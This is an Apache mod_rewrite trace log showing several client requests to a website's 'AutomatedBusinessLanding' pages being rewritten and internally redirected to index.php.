[Mon Nov 10 18:42:37.516363 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516373 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516383 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516392 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516405 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516414 2025] [rewrite:trace1] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c020b98/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516635 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516656 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516666 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516678 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516691 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516703 2025] [rewrite:trace4] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516712 2025] [rewrite:trace2] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516722 2025] [rewrite:trace3] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516732 2025] [rewrite:trace2] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516747 2025] [rewrite:trace2] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:37.516757 2025] [rewrite:trace1] [pid 11082:tid 11126] mod_rewrite.c(505): [client 80.94.92.135:53370] 80.94.92.135 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0d7c80/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:41.674232 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674291 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674356 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674365 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674379 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674389 2025] [rewrite:trace2] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674400 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674412 2025] [rewrite:trace2] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674436 2025] [rewrite:trace2] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674446 2025] [rewrite:trace1] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90000ff80/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674547 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674564 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674573 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674585 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674596 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674605 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674615 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674634 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674644 2025] [rewrite:trace1] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d2748/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674867 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674875 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674888 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674902 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674914 2025] [rewrite:trace4] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674923 2025] [rewrite:trace2] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674932 2025] [rewrite:trace3] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674942 2025] [rewrite:trace2] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674957 2025] [rewrite:trace2] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:41.674967 2025] [rewrite:trace1] [pid 11082:tid 11124] mod_rewrite.c(505): [client 124.198.131.114:45178] 124.198.131.114 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe9000d99b0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:42:43.571719 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571782 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571801 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571823 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571842 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571854 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571865 2025] [rewrite:trace2] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571887 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571899 2025] [rewrite:trace2] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571910 2025] [rewrite:trace2] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.571920 2025] [rewrite:trace1] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0d1ec0/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572021 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572037 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572047 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572059 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572070 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572085 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572095 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572118 2025] [rewrite:trace4] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572135 2025] [rewrite:trace1] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe90c0e9558/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572384 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:42:43.572410 2025] [rewrite:trace3] [pid 11083:tid 11150] mod_rewrite.c(505): [client 185.220.100.250:36640] 185.220.100.250 - - [measureyourbrand.com.au/sid#235833e8][rid#7fe91c0ce880/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
